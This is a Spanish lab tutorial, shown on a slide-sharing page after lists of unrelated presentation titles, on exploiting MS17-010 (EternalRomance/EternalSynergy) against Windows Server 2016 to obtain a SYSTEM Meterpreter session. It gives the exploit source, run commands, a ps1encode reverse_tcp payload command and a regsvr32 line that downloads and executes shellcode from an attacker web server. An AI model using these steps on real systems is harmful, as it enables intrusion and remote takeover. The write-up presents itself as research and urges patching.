Projecte Iniciativa TIC 2024 HPE. inCV.pdf
Festibity
 
Informació Projecte Iniciativa TIC SOPRA STERIA.pdf
Informació Projecte Iniciativa TIC SOPRA STERIA.pdfInformació Projecte Iniciativa TIC SOPRA STERIA.pdf
Informació Projecte Iniciativa TIC SOPRA STERIA.pdf
Festibity
 
ACTIVIDAD 2P de Tecnología, 10-7, 2024..
ACTIVIDAD 2P de Tecnología, 10-7, 2024..ACTIVIDAD 2P de Tecnología, 10-7, 2024..
ACTIVIDAD 2P de Tecnología, 10-7, 2024..
IsabelQuintero36
 
modelosdeteclados-230114024527-aa2c9553.pptx
modelosdeteclados-230114024527-aa2c9553.pptxmodelosdeteclados-230114024527-aa2c9553.pptx
modelosdeteclados-230114024527-aa2c9553.pptx
evelinglilibethpeafi
 
herramientas de sitio web 3.0 2024
herramientas de sitio web 3.0  2024herramientas de sitio web 3.0  2024
herramientas de sitio web 3.0 2024
julio05042006
 
TECLADO ERGONÓMICO Y PANTALLAS TACTILES - GESTIÓN INTEGRAL EDUCATIVA
TECLADO ERGONÓMICO Y PANTALLAS TACTILES - GESTIÓN INTEGRAL EDUCATIVATECLADO ERGONÓMICO Y PANTALLAS TACTILES - GESTIÓN INTEGRAL EDUCATIVA
TECLADO ERGONÓMICO Y PANTALLAS TACTILES - GESTIÓN INTEGRAL EDUCATIVA
LilibethEstupian
 
computacion global 3.pdf pARA TERCER GRADO
computacion global 3.pdf pARA TERCER GRADOcomputacion global 3.pdf pARA TERCER GRADO
computacion global 3.pdf pARA TERCER GRADO
YaniEscobar2
 
Projecte Iniciativa TIC 2024 KAWARU CONSULTING. inCV.pdf
Projecte Iniciativa TIC 2024 KAWARU CONSULTING. inCV.pdfProjecte Iniciativa TIC 2024 KAWARU CONSULTING. inCV.pdf
Projecte Iniciativa TIC 2024 KAWARU CONSULTING. inCV.pdf
Festibity
 
Computacion cuántica y sus ventajas y desventajas
Computacion cuántica y sus ventajas y desventajasComputacion cuántica y sus ventajas y desventajas
Computacion cuántica y sus ventajas y desventajas
sofiahuarancabellido
 

Último (20)

IA en entornos rurales aplicada a la viticultura
IA en entornos rurales aplicada a la viticulturaIA en entornos rurales aplicada a la viticultura
IA en entornos rurales aplicada a la viticultura
 
edublogs info.docx asdasfasfsawqrdqwfqwfqwfq
edublogs info.docx asdasfasfsawqrdqwfqwfqwfqedublogs info.docx asdasfasfsawqrdqwfqwfqwfq
edublogs info.docx asdasfasfsawqrdqwfqwfqwfq
 
Presentación de Tic en educación y sobre blogger
Presentación de Tic en educación y sobre bloggerPresentación de Tic en educación y sobre blogger
Presentación de Tic en educación y sobre blogger
 
Refrigeradores Samsung Modo Test y Forzado
Refrigeradores Samsung Modo Test y ForzadoRefrigeradores Samsung Modo Test y Forzado
Refrigeradores Samsung Modo Test y Forzado
 
Catalogo General Electrodomesticos Teka Distribuidor Oficial Amado Salvador V...
Catalogo General Electrodomesticos Teka Distribuidor Oficial Amado Salvador V...Catalogo General Electrodomesticos Teka Distribuidor Oficial Amado Salvador V...
Catalogo General Electrodomesticos Teka Distribuidor Oficial Amado Salvador V...
 
Actividad Conceptos básicos de programación.pdf
Actividad Conceptos básicos de programación.pdfActividad Conceptos básicos de programación.pdf
Actividad Conceptos básicos de programación.pdf
 
Catalogo Refrigeracion Miele Distribuidor Oficial Amado Salvador Valencia
Catalogo Refrigeracion Miele Distribuidor Oficial Amado Salvador ValenciaCatalogo Refrigeracion Miele Distribuidor Oficial Amado Salvador Valencia
Catalogo Refrigeracion Miele Distribuidor Oficial Amado Salvador Valencia
 
Catalogo general Ariston Amado Salvador distribuidor oficial Valencia
Catalogo general Ariston Amado Salvador distribuidor oficial ValenciaCatalogo general Ariston Amado Salvador distribuidor oficial Valencia
Catalogo general Ariston Amado Salvador distribuidor oficial Valencia
 
SISTESIS RETO4 Grupo4 co-creadores .ppsx
SISTESIS RETO4 Grupo4 co-creadores .ppsxSISTESIS RETO4 Grupo4 co-creadores .ppsx
SISTESIS RETO4 Grupo4 co-creadores .ppsx
 
Presentacion de Estado del Arte del The Clean
Presentacion de Estado del Arte del The CleanPresentacion de Estado del Arte del The Clean
Presentacion de Estado del Arte del The Clean
 
Manual de Soporte y mantenimiento de equipo de cómputos
Manual de Soporte y mantenimiento de equipo de cómputosManual de Soporte y mantenimiento de equipo de cómputos
Manual de Soporte y mantenimiento de equipo de cómputos
 
Projecte Iniciativa TIC 2024 HPE. inCV.pdf
Projecte Iniciativa TIC 2024 HPE. inCV.pdfProjecte Iniciativa TIC 2024 HPE. inCV.pdf
Projecte Iniciativa TIC 2024 HPE. inCV.pdf
 
Informació Projecte Iniciativa TIC SOPRA STERIA.pdf
Informació Projecte Iniciativa TIC SOPRA STERIA.pdfInformació Projecte Iniciativa TIC SOPRA STERIA.pdf
Informació Projecte Iniciativa TIC SOPRA STERIA.pdf
 
ACTIVIDAD 2P de Tecnología, 10-7, 2024..
ACTIVIDAD 2P de Tecnología, 10-7, 2024..ACTIVIDAD 2P de Tecnología, 10-7, 2024..
ACTIVIDAD 2P de Tecnología, 10-7, 2024..
 
modelosdeteclados-230114024527-aa2c9553.pptx
modelosdeteclados-230114024527-aa2c9553.pptxmodelosdeteclados-230114024527-aa2c9553.pptx
modelosdeteclados-230114024527-aa2c9553.pptx
 
herramientas de sitio web 3.0 2024
herramientas de sitio web 3.0  2024herramientas de sitio web 3.0  2024
herramientas de sitio web 3.0 2024
 
TECLADO ERGONÓMICO Y PANTALLAS TACTILES - GESTIÓN INTEGRAL EDUCATIVA
TECLADO ERGONÓMICO Y PANTALLAS TACTILES - GESTIÓN INTEGRAL EDUCATIVATECLADO ERGONÓMICO Y PANTALLAS TACTILES - GESTIÓN INTEGRAL EDUCATIVA
TECLADO ERGONÓMICO Y PANTALLAS TACTILES - GESTIÓN INTEGRAL EDUCATIVA
 
computacion global 3.pdf pARA TERCER GRADO
computacion global 3.pdf pARA TERCER GRADOcomputacion global 3.pdf pARA TERCER GRADO
computacion global 3.pdf pARA TERCER GRADO
 
Projecte Iniciativa TIC 2024 KAWARU CONSULTING. inCV.pdf
Projecte Iniciativa TIC 2024 KAWARU CONSULTING. inCV.pdfProjecte Iniciativa TIC 2024 KAWARU CONSULTING. inCV.pdf
Projecte Iniciativa TIC 2024 KAWARU CONSULTING. inCV.pdf
 
Computacion cuántica y sus ventajas y desventajas
Computacion cuántica y sus ventajas y desventajasComputacion cuántica y sus ventajas y desventajas
Computacion cuántica y sus ventajas y desventajas
 

Cómo explotar EternalRomance & EternalSynergy en Windows Server 2016

  • 1. EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 1 EXPLOTAR ETERNALROMANCE/SYNERGY PARA OBTENER UNA SHELL DE METERPRETER EN WINDOWS SERVER 2016 Sheila A. Berta (@UnaPibaGeek) – Security Researcher at Eleven Paths shey.x7@gmail.com || sheila.berta@11paths.com Julio 12, 2017
  • 2. EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 2 Tabla de contenidos EXPLOTAR ETERNALROMANCE/SYNERGY PARA OBTENER UNA SHELL DE METERPRETER EN WINDOWS SERVER 2016.................................................................................................................................................1 Introducción..................................................................................................................................................3 Entorno de laboratorio..............................................................................................................................3 Obtención del exploit....................................................................................................................................5 Resolver dependencias..............................................................................................................................5 Comprobación de funcionamiento...............................................................................................................6 Datos de autenticación..............................................................................................................................6 Parámetros................................................................................................................................................6 Ejecución sin shellcode..............................................................................................................................7 Preparación de una shellcode.......................................................................................................................8 Generar archivo .SCT con PS1ENCODE......................................................................................................8 Permitir descarga de shellcode.sct............................................................................................................9 Alteración del comportamiento del exploit................................................................................................10 Ejecutar la shellcode................................................................................................................................10 Obtención de la sesión de meterpreter......................................................................................................11 Palabras finales… ........................................................................................................................................13
  • 3. EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 3 Introducción Cuando Microsoft publicó los parches para la vulnerabilidad MS17-010, quedó expuesto que el problema afectaba desde Windows 7 (Vista en realidad, pero bueno, ese no cuenta :p) hasta Windows Server 2016. Sin embargo, la serie de exploits “ETERNALS” publicados por TheShadowBrokers, presentan gran inestabilidad al intentar impactar sistemas con Windows Server 2012 en adelante, provocando la mayoría de las veces un BSOD en el equipo atacado. Con el objetivo de entender su funcionamiento y mejorarlos, los exploits de la NSA que se hicieron públicos, han pasado por la lupa de muchos investigadores. Gracias a ello, hace pocos días se publicó un exploit que aprovecha el bug de ETERNALROMANCE/SYNERGY, con mejoras en el método de explotación, para hacerlo más estable al momento de atacar sistemas con Windows Server 2012 y 2016. Pero lo cierto es que, al fiel estilo de su autor (Sleepya), si se quiere utilizar dicho exploit es necesario ingeniárselas un poco, entender cómo funciona y modificar algunas pequeñas cosas para lograr que, al momento de impactar un objetivo, ocurra lo que nosotros deseemos. Es por eso que tras haberlo analizado, aquí estoy escribiendo un nuevo “how to” :). En este paso a paso se explica todo lo necesario para hacer funcionar el exploit de Sleepya correctamente y cómo modificar su comportamiento con el fin de obtener una sesión de meterpreter sobre el equipo objetivo. Por supuesto, esta documentación es con fines de investigación. Entorno de laboratorio Para montar el entorno de laboratorio, es necesario configurar los siguientes equipos: 1. Máquina objetivo - Windows Server 2016 Una máquina con Windows Server 2016 de 64bits será utilizada como target. Luego de la instalación del sistema, no es necesario realizar cambios en el mismo, simplemente conocer su dirección IP y asegurarse de que esté encendido al realizar el ataque. 2. Máquina atacante – Preferentemente GNU/Linux Es posible utilizar cualquier sistema como máquina atacante, siempre y cuando se puedan ejecutar correctamente las siguientes herramientas:
  • 4. EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 4 • Python v2.7 - https://www.python.org/download/releases/2.7/ • Ps1Encode - https://github.com/CroweCybersecurity/ps1encode • Metasploit Framework - https://github.com/rapid7/metasploit-framework A continuación, el resumen de las configuraciones en el laboratorio: • Windows Server 2016 x64 – IP: 10.0.2.13  Target. • GNU/Linux Debian x64 – IP: 10.0.2.6  Atacante.
  • 5. EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 5 Obtención del exploit El código fue publicado en exploit-db y puede ser descargado desde siguiente enlace: https://www.exploit-db.com/exploits/42315/. Como podemos observar, está escrito en Python, por lo tanto lo guardamos con extensión .py en la máquina atacante. Una vez hecho esto, si lo ejecutamos nos encontraremos con el siguiente error: A continuación se explica cómo solventar este problema. Resolver dependencias En línea número tres del exploit se importa el módulo “mysmb”, el cual no es propio de Python ni podemos instalarlo usando pip. Este módulo fue desarrollado por Sleepya y tendremos que descargarlo desde su github en el siguiente link: https://github.com/worawit/MS17-010/blob/master/mysmb.py. Lo guardamos con el nombre de “mysmb.py” en la misma carpeta donde hemos descargado el exploit. Recordemos que en Python, para que un script pueda importar el código de un módulo, es necesario crear un archivo llamado “__INIT__.py” donde se encuentren los mismos. Al hacer esto, el script del exploit encontrará el módulo necesario y no mostrará más errores.
  • 6. EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 6 Comprobación de funcionamiento Es posible verificar el correcto funcionamiento del exploit sin hacer demasiadas modificaciones. Si lo ejecutamos tal como está, una vez que la explotación sea exitosa creará un archivo llamado “pwned.txt” en la unidad “C:” del equipo atacado. Aunque esta simple comprobación no requiere que modifiquemos nada del exploit en sí, debemos definir igualmente algunos datos y parámetros que veremos a continuación. Datos de autenticación El bug que explota ETERNALROMANCE/SYNERGY requiere que el ataque sea autenticado. Bien podría ser a través de una cuenta Guest si está habilitada, sino, tendremos que obtener el usuario y contraseña de alguna cuenta en el equipo objetivo. Es importante destacar que no importan los privilegios de la cuenta, aun si fuera “Guest”, los privilegios que obtendremos al impactar serán de SYSTEM. Para definir esta información, debemos abrir el exploit.py con cualquier editor de texto y dirigirnos a las líneas 26 y 27: Allí podremos definir el usuario y contraseña a utilizar para la autenticación. Parámetros El exploit necesita que definamos dos parámetros: la IP del objetivo y el pipe name. El protocolo SMB define que un recurso compartido puede ser de tres tipos diferentes: - File: archivo o disco, incluyendo subdirectorios. - Print: recursos para impresión. - Pipe: comunicación entre procesos siguiendo el modelo FIFO, donde se conoce como named pipes a aquellas conexiones que siguen vivas mientras el sistema siga en funcionamiento más allá de que el proceso ya no se encuentre activo. A diferencia de ETERNALBLUE, los exploits ETERNALROMANCE y ETERNALSYNERGY explotan un bug en el acceso a named pipes, es por eso que es necesario definir cuál se utilizará al momento de impactar. Personalmente suelo utilizar “spoolss”, otra opción es “browser”. También es posible utilizar el escáner de metasploit: auxiliary/scanner/smb/pipe_auditor y ver cuáles se encuentran accesibles en el sistema objetivo.
  • 7. EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 7 Ejecución sin shellcode Sin más, procedemos a ejecutar el exploit con el siguiente comando: python exploit.py <ip_objetivo> spoolss Tal como se mencionó antes, si la explotación fue exitosa veremos que se ha creado un archivo llamado “pwned.txt” en la unidad “C:” del equipo atacado. Haber logrado la explotación con éxito es un gran paso. A continuación, veremos cómo sacar mayor provecho, modificando este último comportamiento en el exploit con el objetivo de ejecutar una shell de meterpreter.
  • 8. EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 8 Preparación de una shellcode Hay muchas formas de lograr que el exploit ejecute una shell de meterpreter o cualquier otra acción en lugar de simplemente escribir aquel archivo. El primer paso es generar la shellcode que usaremos, para hacerlo utilizaré una forma que personalmente me gusta mucho y tiene numerosas ventajas a la hora de evadir controles de seguridad. En resumen, la shellcode estará en un archivo .SCT que el exploit se encargará de descargar y ejecutar en la máquina objetivo, devolviéndonos como resultado la tan ansiada sesión de meterpreter. Generar archivo .SCT con PS1ENCODE Ps1Encode es una herramienta muy útil que permite generar y codificar payloads de metasploit en diversos formatos basados en PowerShell. Podemos obtenerla desde su github: https://github.com/CroweCybersecurity/ps1encode. Para generar el payload que necesitamos, ejecutaremos la herramienta con los siguientes parámetros: ruby ps1encode.rb --PAYLOAD windows/meterpreter/reverse_tcp --LHOST=<IP_ATACANTE> -- LPORT=4444 -t sct El archivo .sct que estamos generando, tendremos que almacenarlo en un web server en la máquina atacante o en cualquier otro equipo que pueda ser accedido sin problemas por la máquina objetivo. Es por ello que, al ejecutar el comando anterior, la herramienta nos pregunta cuál será la URL completa donde alojaremos el archivo .sct. Si vamos a usar la propia máquina atacante, simplemente ingresamos: http://<IP_ATACANTE>.
  • 9. EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 9 Permitir descarga de shellcode.sct El paso anterior nos generó un archivo llamado index.sct en la carpeta de ps1encode. Para que el mismo pueda ser descargado por el exploit en la máquina objetivo, debemos moverlo a la carpeta del servidor web y asignarle los permisos adecuados. Tras realizar la ejecución de los comandos que vemos en la imagen superior, tendremos la shellcode lista para ser usada.
  • 10. EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 10 Alteración del comportamiento del exploit Si abrimos el exploit con un editor de texto y nos dirigimos a la línea 463 en adelante, nos encontraremos con lo siguiente: Allí vemos las funciones que el exploit utiliza para crear el archivo “pwned.txt” en la máquina atacada, pero más interesante aún, es la línea por debajo de ellas, donde se encuentra comentada la función service_exec(). Si observamos, aquella función ejecuta el comando “copy” como ejemplo, creando una copia de “pwned.txt”. Esto no se ejecutará a menos que quitemos el numeral (#) que precede a la función. Si lo hacemos y volvemos a ejecutar el exploit, notaremos que en la unidad “C:” tendremos dos archivos de texto: pwned.txt y pwned_exec.txt. Es claro que podemos modificar el comando copy por cualquier otro que ejecute lo que nosotros deseemos. Ejecutar la shellcode Ahora que conocemos donde modificar el exploit para cambiar su comportamiento final, editaremos la línea que invoca a la función service_exec() para que ejecute el comando que se encargará de descargar y ejecutar la shell de meterpreter: regsvr32 /s /n /u /i:http://<ip_atacante_webserver>/shellcode.sct scrobj.dll El exploit quedará de la siguiente forma:
  • 11. EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 11 Obtención de la sesión de meterpreter Finalmente, antes de realizar la ejecución del exploit.py, configuramos el exploit/multi/handler de metasploit para recibir la sesión de meterpreter. Volvemos a ejecutar el exploit guardando las modificaciones que hemos realizado en el paso anterior.
  • 12. EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 12 Tras unos pocos segundos, obtendremos la sesión de meterpreter en la máquina objetivo, con privilegios de SYSTEM.
  • 13. EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 13 Palabras finales… No hay tiempo para palabras finales, ve a parchear tus sistemas :-). Agradecimientos: Worawit Wang (@sleepya_). Por bancarme siempre: Claudio Caracciolo (@holesec). Mateo Martinez (@MateoMartinezOK). Luciano Martins (@clucianomartins). Arturo Busleiman (@buanzo). Ezequiel Sallis (@simubucks). Cristian Borghello (@crisborghe / @seguinfo). Sol O. (@0zz4n5). @DragonJar || @ekoparty || “Las Pibas de Infosec”. -- Sheila A. Berta - @UnaPibaGeek.